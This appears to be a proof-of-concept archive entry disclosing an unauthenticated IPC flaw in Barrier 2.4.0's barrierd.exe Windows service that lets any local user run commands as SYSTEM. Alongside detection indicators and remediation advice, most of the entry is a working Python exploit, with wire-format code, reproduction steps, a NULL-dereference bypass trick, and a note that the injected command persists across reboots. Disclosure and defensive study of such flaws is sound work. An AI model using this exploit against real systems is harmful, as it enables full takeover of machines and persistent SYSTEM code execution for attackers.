PoC Archive PoC Archive
NotCVE-2026-0010 category: binary (HIGH)
Unverified

Barrier 2.4.0 — barrierd.exe Unauthenticated IPC → SYSTEM Privilege Escalation (NotCVE-2026-0010)

Published: 2026-08-01 • Researcher: cduram

Target software Barrier (debauchee), Windows service daemon barrierd.exe
Affected versions Barrier 2.4.0 (final release, 2021-11-01) and earlier builds sharing the same unauthenticated IPC daemon design
Status Unpatched — Barrier is unmaintained with no vendor fix; patched successor Deskflow covers the same issue via CVE-2026-41477 / GHSA-6rx5-g478-775c
Severity High
Severity
High
CVE
NotCVE-2026-0010 (disputed CVE assignment — author contests the identifier)
Category
binary
Affected product
Barrier (debauchee), Windows service daemon barrierd.exe
Affected versions
Barrier 2.4.0 (final release, 2021-11-01) and earlier builds sharing the same unauthenticated IPC daemon design
Disclosed
2026-08-01
Patch status
Unverified
On this page

Metadata

FieldValue
Date Added2026-08-01
Last Updated2026-07-25
Author / Researchercduram
CVE / AdvisoryNotCVE-2026-0010 (disputed CVE assignment — author contests the identifier)
Categorybinary
SeverityHigh
CVSS ScoreN/A (no official CVSS; CWE-306)
StatusUnpatched — Barrier is unmaintained with no vendor fix; patched successor Deskflow covers the same issue via CVE-2026-41477 / GHSA-6rx5-g478-775c
Tagsbarrier, barrierd, windows, ipc, tcp-24801, unauthenticated, lpe, privilege-escalation, system, cwe-306, local
RelatedN/A

Affected Target

FieldValue
Software / SystemBarrier (debauchee), Windows service daemon barrierd.exe
Versions AffectedBarrier 2.4.0 (final release, 2021-11-01) and earlier builds sharing the same unauthenticated IPC daemon design
Language / PlatformC++ daemon on Windows x64; wire protocol over TCP loopback; Python PoC
Authentication RequiredNo — the IPC control server performs no authentication, no client identity verification, and no access control
Network Access RequiredLocal only — daemon binds 127.0.0.1:24801, reachable by any local process

Summary

Barrier 2.4.0 ships a Windows service daemon (barrierd.exe) that runs as LocalSystem and binds a TCP IPC control server on 127.0.0.1:24801 with no authentication. Any local process, regardless of privilege level, can connect to that port and send a kIpcCommand (“ICMD”) message that carries an arbitrary command line plus a 1-byte “elevate” flag. With the elevate flag set, barrierd duplicates the SYSTEM primary token of winlogon.exe and spawns the supplied command via CreateProcessAsUser, giving an unprivileged local user immediate NT AUTHORITY\SYSTEM code execution. That command is additionally persisted and replayed on every service restart, so the escalation survives reboot without further attacker action. The author named the repository NotCVE-2026-0010 to dispute the CVE assignment, so this archive entry treats the finding as a disputed / non-CVE disclosure rather than a formally accepted CVE.

Vulnerability Details

Root Cause

CWE-306 — Missing Authentication for Critical Function. barrierd.exe is a Windows service installed with the Barrier KVM package and runs as LocalSystem. As part of its design it exposes a local IPC control server on TCP 127.0.0.1:24801. The IPC accept path (src/lib/ipc/IpcServer.cpp) performs no authentication, no client identity verification, and no access control. The IPC protocol defines a command message (kIpcCommand, wire tag “ICMD”) whose body is an arbitrary command line plus a 1-byte “elevate” flag (src/lib/ipc/IpcClientProxy.cpp). The daemon trusts that flag with no entitlement check: on receipt it hands the command to the watchdog thread (src/lib/platform/MSWindowsWatchdog.cpp), which enumerates the active console session, opens winlogon.exe, duplicates its SYSTEM primary token, and calls CreateProcessAsUser with that token. Command results are discarded and the command is persisted to the registry (src/lib/barrier/win32/DaemonApp.cpp, HKLM\SOFTWARE\Barrier). In short, a loopback listener running at maximum privilege accepts arbitrary commands from anyone on the machine.

There is a companion CWE-476 NULL-deref bug that the exploit must route around: the payload string is prefixed with “-d x” so that the daemon does not crash via the NULL-deref on the command path. cmd.exe uses a lenient command-line switch parser, so it ignores the leading “-d x” noise and correctly honors “/c” or “/k” as “run the remainder as a command.”

Attack Vector

  1. Obtain low-privileged local code execution on a Windows host that has the Barrier service (barrierd.exe, LocalSystem) installed and running.
  2. Open a TCP connection to 127.0.0.1:24801.
  3. Send the IPC hello: b"IHEL" + b"\x00" (identifies the client as kIpcClientGui).
  4. Send the command message: b"ICMD" + struct.pack(">I", len(cmd)) + cmd.encode(“utf-8”) + b"\x01" (elevate=1), where cmd = “ -d x /c ” for a one-shot command, or “ -d x /k ” to survive the daemon watchdog relaunch loop when the payload itself does not keep a process alive (e.g. when using “start” to pop a visible window).
  5. The barrierd watchdog thread enumerates the active console session, opens winlogon.exe, and duplicates its SYSTEM primary token.
  6. CreateProcessAsUser(systemToken, NULL, cmd, …) spawns the attacker command as NT AUTHORITY\SYSTEM.
  7. Persistence: the executed command is automatically saved to HKLM\SOFTWARE\Barrier and re-executes as SYSTEM on every service restart or reboot with no further attacker action, until explicitly cleared by sending an empty command or editing the registry.

Impact

Full local privilege escalation from an unprivileged user to NT AUTHORITY\SYSTEM on any Windows host running the Barrier service, plus persistence: the injected command fires on every daemon start or reboot until cleared. The PoC demonstrates the effect by popping a maximized cmd.exe window that runs whoami as SYSTEM. Any attacker who achieves even trivial low-privilege code execution (malware, user-assisted execution, compromise of an unprivileged service) can immediately pivot to complete system control.

Environment / Lab Setup

Output
OS:          Windows x64 (any build supported by Barrier 2.4.0)
Target:      Barrier 2.4.0 installed with the Windows service (barrierd.exe, LocalSystem)
Attacker:    Same host, unprivileged local process (any language; Python PoC provided)
Tools:       Python 3 (socket, struct), or any TCP client able to speak the IPC protocol

Setup Steps

Shell script
1
2
3
sc query Barrier

netstat -ano | findstr 24801

Proof of Concept

See Debauchee_Barrier_Privesc.py and poc_screenshot.png in this folder, plus upstream-README.md for the author writeup — all mirrored byte-identical from cduram/NotCVE-2026-0010. The PoC is a short, plain Python socket client that speaks the documented Barrier IPC protocol (IHEL hello + ICMD command). It contains no obfuscation, no embedded C2 callbacks, and no file drops other than the documented command it triggers on the target. The repository is a plain disclosure repo (README plus one Python file plus one screenshot) with no malware or scam signals.

Step-by-Step Reproduction

  1. Precondition — an unprivileged local process on a Windows host where barrierd.exe (LocalSystem) is installed and running.
  2. Run the PoCpython Debauchee_Barrier_Privesc.py. It connects to 127.0.0.1:24801, sends the IHEL hello (kIpcClientGui), then an ICMD message with elevate=1 and the payload cmd.exe -d x /k "start /max cmd.exe /k whoami".
  3. Observe SYSTEM cmd.exe — within roughly 10 seconds a maximized cmd.exe window appears running whoami as NT AUTHORITY\SYSTEM.
  4. Clean up persistencepython Debauchee_Barrier_Privesc.py --clear sends an empty command so the daemon stops replaying the payload on subsequent restarts.

Exploit Code

Full working client in Debauchee_Barrier_Privesc.py. The core wire format:

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
import socket, struct

def build_hello(client_type=0x00):
    return b"IHEL" + bytes([client_type])

def build_command(cmd, elevate):
    cmd_bytes = cmd.encode("utf-8")
    return b"ICMD" + struct.pack(">I", len(cmd_bytes)) + cmd_bytes + bytes([1 if elevate else 0])

sock = socket.create_connection(("127.0.0.1", 24801), timeout=5.0)
sock.sendall(build_hello())                              # kIpcClientGui
sock.sendall(build_command("cmd.exe -d x /k \"start /max cmd.exe /k whoami\"", True))
sock.close()                                             # SYSTEM cmd.exe pops up

Expected Output

Output
A maximized cmd.exe window appears running:
  whoami
  -> nt authority\system

Screenshots / Evidence

  • poc_screenshot.png — upstream author screenshot showing the SYSTEM cmd.exe popup (mirrored byte-identical from the upstream repository).

Detection & Indicators of Compromise

Output
HKLM\SOFTWARE\Barrier\Command   (plus the Elevate flag)

Image ends with \cmd.exe AND
CommandLine contains " -d x /" AND
User == NT AUTHORITY\SYSTEM AND
ParentImage ends with \barrierd.exe

Remediation

ActionDetail
PatchNone available from the vendor. Barrier is unmaintained (final release 2021-11-01) and the upstream author states no fix will be released. Migrate to Deskflow, the actively maintained Barrier successor, and apply the patched build that addresses the same vulnerability (CVE-2026-41477 / GHSA-6rx5-g478-775c).
WorkaroundIf Barrier must remain in use: stop and disable the barrierd.exe service (sc config Barrier start= disabled) when the KVM feature is not actively needed; since the IPC port is reachable by any local process, the only local containment is limiting which accounts can run code on the host at all.
Config HardeningMonitor HKLM\SOFTWARE\Barrier for unexpected Command or Elevate values; treat Barrier on shared or multi-user hosts as a standing local-privilege-escalation risk; on heavily controlled networks, block inbound connections to loopback port 24801 at the host firewall where feasible (this stops remote spoofing but not local abuse, which is the primary threat here).

References

Notes

Disputed / non-CVE status: The repository is named “NotCVE-2026-0010” because the author disputes the CVE-2026-0010 assignment for this issue. No accepted CVE is relied on here; the finding is tracked as a disputed disclosure. The upstream disclosure timeline states the issue was discovered on 2026-04-20 (no responsible party to report to, since Barrier is unmaintained) and the author reached out to NoCVE on 2026-07-25 given the project could be forked.

Persistence behavior: The daemon persists the last IPC command plus elevate flag to HKLM\SOFTWARE\Barrier and replays it unconditionally on every service start (DaemonApp.cpp:205-210). Anyone testing the PoC should run the built-in –clear mode afterward to avoid the payload re-popping on subsequent restarts.

Verification: All mirrored files in this folder (Debauchee_Barrier_Privesc.py, poc_screenshot.png, upstream-README.md) are byte-for-byte identical to the upstream repository (verified via diff against a fresh clone). No paraphrasing or rewriting was performed on the PoC; the local README was authored for this archive following the project template.

Debauchee_Barrier_Privesc.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
r"""
Barrier - Unauthenticated IPC LPE: Visible SYSTEM cmd.exe Popup Proof-of-Concept
==================================================================================

This variant pops a single, maximized cmd.exe window running whoami under NT AUTHORITY\SYSTEM.

Payload: cmd.exe -d x /k "start /max cmd.exe /k whoami"
  - "-d x" is the CWE-476 NULL-deref bypass (see the companion POC's
    docstring / findings.md Finding 2 for the full mechanism).

Cleanup note: Barrier persists the last IPC command to
HKLM\SOFTWARE\Barrier\Command and replays it automatically on every future
service start (DaemonApp.cpp:205-210). After using this POC, send one
empty command (see clear_persisted_command() below) to stop it from
re-popping the window on subsequent restarts.

Affected: Barrier 2.4.0

Usage:
    python Debauchee_Barrier_Privesc.py               # pop a single maximized SYSTEM cmd.exe window
    python Debauchee_Barrier_Privesc.py --clear        # clear the persisted command (stop replay-on-restart)

DISCLAIMER: This POC is for authorized security research only.
"""
import argparse
import socket
import struct
import sys
import time

# ---------------------------------------------------------------------------
# Configuration
# ---------------------------------------------------------------------------
TARGET_PRODUCT = "Barrier"
TARGET_VERSION = "2.4.0"
CWE = "CWE-306"

IPC_HOST = "127.0.0.1"
IPC_PORT = 24801

MSG_HELLO = b"IHEL"
MSG_COMMAND = b"ICMD"
CLIENT_TYPE_GUI = 0x00


def build_hello(client_type=CLIENT_TYPE_GUI):
    return MSG_HELLO + bytes([client_type])


def build_command(cmd, elevate):
    cmd_bytes = cmd.encode("utf-8")
    return MSG_COMMAND + struct.pack(">I", len(cmd_bytes)) + cmd_bytes + bytes([1 if elevate else 0])


def _send(host, port, cmd, elevate, settle=2.0):
    """Connect, send hello + ICMD, and wait `settle` seconds before closing
    so the daemon has time to fully receive and process the message before
    the connection is torn down."""
    sock = socket.create_connection((host, port), timeout=5.0)
    try:
        sock.sendall(build_hello(CLIENT_TYPE_GUI))
        sock.sendall(build_command(cmd, elevate))
        time.sleep(settle)
    finally:
        sock.close()


# ---------------------------------------------------------------------------
# POC Logic
# ---------------------------------------------------------------------------
def run_poc(host=IPC_HOST, port=IPC_PORT, elevate=True):
    """
    Send the "-d x" bypass payload that pops a single, maximized cmd.exe
    window running `whoami` as NT AUTHORITY\\SYSTEM.
    """
    cmd = 'cmd.exe -d x /k "start /max cmd.exe /k whoami"'

    print(f"[*] {TARGET_PRODUCT} {TARGET_VERSION} - Unauthenticated IPC LPE (visible SYSTEM cmd.exe popup)")
    print(f"[*] {CWE}: barrierd.exe (LocalSystem) accepts unauthenticated ICMD messages with elevate=1")
    print()
    print(f"[*] Connecting to {host}:{port} ...")

    try:
        print("[*] Sending IHEL hello (kIpcClientGui) ...")
        print(f"[*] Sending ICMD command (elevate={int(elevate)}): {cmd!r}")
        _send(host, port, cmd, elevate)
    except OSError as exc:
        print(f"[-] Connection failed: {exc}")
        print("[-] Is barrierd.exe (Barrier Windows service) installed and running?")
        return False

    print()
    print("[*] A maximized cmd.exe window running `whoami` should now exist.")
    print("[*] If nothing appears within ~10s: check `sc query Barrier` -- the daemon may")
    print("    be in a post-crash backoff window from a prior attempt; wait and retry.)")
    print()
    print("[*] When done, run with --clear to stop the daemon replaying this command")
    print("    on every future service restart.")
    return True


def clear_persisted_command(host=IPC_HOST, port=IPC_PORT):
    """
    Barrier persists the last IPC command+elevate flag to
    HKLM\\SOFTWARE\\Barrier and replays it unconditionally on every future
    daemon startup (DaemonApp.cpp:205-210). Sending one empty command
    overwrites that persisted value, so subsequent service restarts no
    longer auto-relaunch this (or any prior) payload.
    """
    print(f"[*] Connecting to {host}:{port} to clear the persisted Command/Elevate setting ...")
    try:
        _send(host, port, "", False, settle=3.0)
    except OSError as exc:
        print(f"[-] Connection failed: {exc}")
        return False
    print("[+] Sent empty command -- HKLM\\SOFTWARE\\Barrier\\Command should now be empty.")
    print("    Verify with: (Get-ItemProperty 'HKLM:\\SOFTWARE\\Barrier').Command")
    return True


if __name__ == "__main__":
    parser = argparse.ArgumentParser(
        description="Barrier barrierd.exe unauthenticated IPC LPE -- visible SYSTEM cmd.exe popup PoC"
    )
    parser.add_argument("--host", default=IPC_HOST, help="barrierd IPC host (default: 127.0.0.1)")
    parser.add_argument("--port", type=int, default=IPC_PORT, help="barrierd IPC port (default: 24801)")
    parser.add_argument("--no-elevate", action="store_true",
                         help="Send elevate=0 (no SYSTEM escalation) -- for protocol testing only")
    parser.add_argument("--clear", action="store_true",
                         help="Clear the persisted Command/Elevate setting instead of popping a window")
    args = parser.parse_args()

    if args.clear:
        success = clear_persisted_command(host=args.host, port=args.port)
        sys.exit(0 if success else 1)
    else:
        success = run_poc(host=args.host, port=args.port, elevate=not args.no_elevate)
        sys.exit(0 if success else 1)